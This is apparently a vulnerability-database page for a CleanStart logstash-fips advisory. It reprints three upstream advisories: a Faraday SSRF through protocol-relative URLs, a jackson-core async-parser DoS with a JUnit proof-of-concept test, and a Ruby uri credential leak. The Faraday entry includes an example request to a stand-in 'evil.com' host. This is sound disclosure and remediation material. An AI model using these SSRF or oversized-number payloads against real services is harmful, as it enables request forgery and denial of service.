Vulnerability-Lookup

Vulnerability from cleanstart

Published

2026-04-09 00:48

Modified

2026-04-08 09:23

Summary

Security fixes for ghsa-33mh-2634-fwr2, ghsa-72hv-8253-57qq, ghsa-j4pr-3wm6-xx2r applied in versions: 9.3.0-r1, 9.3.0-r2, 9.3.0-r3

Details

Multiple security vulnerabilities affect the logstash-fips package. These issues are resolved in later releases. See references for individual vulnerability details.

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/ghsa-33mh-2634-fwr2	WEB
	https://osv.dev/vulnerability/ghsa-72hv-8253-57qq	WEB
	https://osv.dev/vulnerability/ghsa-j4pr-3wm6-xx2r	WEB

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{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "logstash-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.3.0-r3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the logstash-fips package. These issues are resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-ZD62146",
  "modified": "2026-04-08T09:23:24Z",
  "published": "2026-04-09T00:48:37.441422Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-ZD62146.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-33mh-2634-fwr2"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-j4pr-3wm6-xx2r"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes for ghsa-33mh-2634-fwr2, ghsa-72hv-8253-57qq, ghsa-j4pr-3wm6-xx2r applied in versions: 9.3.0-r1, 9.3.0-r2, 9.3.0-r3",
  "upstream": [
    "ghsa-33mh-2634-fwr2",
    "ghsa-72hv-8253-57qq",
    "ghsa-j4pr-3wm6-xx2r"
  ]
}

GHSA-33MH-2634-FWR2

Vulnerability from github – Published: 2026-02-09 20:37 – Updated: 2026-02-13 17:16

Summary

Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Details

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

Reject or strip input that starts with // followed by a non-/ character
Use an allowlist of permitted path prefixes
Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end

Severity

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:37:05Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n  Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n  `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL\u0027s host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n  conn.get(\u0027//evil.com/steal\u0027)\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```",
  "id": "GHSA-33mh-2634-fwr2",
  "modified": "2026-02-13T17:16:36Z",
  "published": "2026-02-09T20:37:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/pull/1569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url"
}

GHSA-72HV-8253-57QQ

Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30

Summary

jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Details

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. 2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-04-07T16:30:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

GHSA-J4PR-3WM6-XX2R

Vulnerability from github – Published: 2025-12-30 21:07 – Updated: 2026-05-29 21:45

Summary

URI Credential Leakage Bypass over CVE-2025-27221

Details

Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the + operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the uri gem bundled with the following Ruby series:

0.12.4 and earlier (bundled in Ruby 3.2 series)
0.13.2 and earlier (bundled in Ruby 3.3 series)
1.0.3 and earlier (bundled in Ruby 3.4 series)

Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

References

https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
https://hackerone.com/reports/2957667

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

2.7 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.12.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "0.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-212"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T21:07:14Z",
    "nvd_published_at": "2025-12-30T21:15:43Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nIn affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.\n\nWhen using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.\n\nThe vulnerability affects the `uri` gem bundled with the following Ruby series:\n\n* 0.12.4 and earlier (bundled in Ruby 3.2 series)\n* 0.13.2 and earlier (bundled in Ruby 3.3 series)\n* 1.0.3 and earlier (bundled in Ruby 3.4 series)\n\n### Patches\n\nUpgrade to 0.12.5, 0.13.3 or 1.0.4\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/\n* https://hackerone.com/reports/2957667",
  "id": "GHSA-j4pr-3wm6-xx2r",
  "modified": "2026-05-29T21:45:59Z",
  "published": "2025-12-30T21:07:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/uri/security/advisories/GHSA-j4pr-3wm6-xx2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61594"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/uri/commit/20157e3e29b125ff41f1d9662e2e3b1d066f5902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/uri/commit/7e521b2da0833d964aab43019e735aea674e1c2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/uri/commit/d3116ca66a3b1c97dc7577f9d2d6e353f391cd6a"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2957667"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-22h5-pq3x-2gf2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/uri"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-61594.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2025/10/07/uri-cve-2025-61594"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "URI Credential Leakage Bypass over CVE-2025-27221"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

Vulnerability from cleanstart

GHSA-33MH-2634-FWR2

Impact

Patches

Workarounds

GHSA-72HV-8253-57QQ

Summary

Details

PoC

Impact

Suggested Remediation

GHSA-J4PR-3WM6-XX2R

Impact

Patches

References

Tags

Sightings

Nomenclature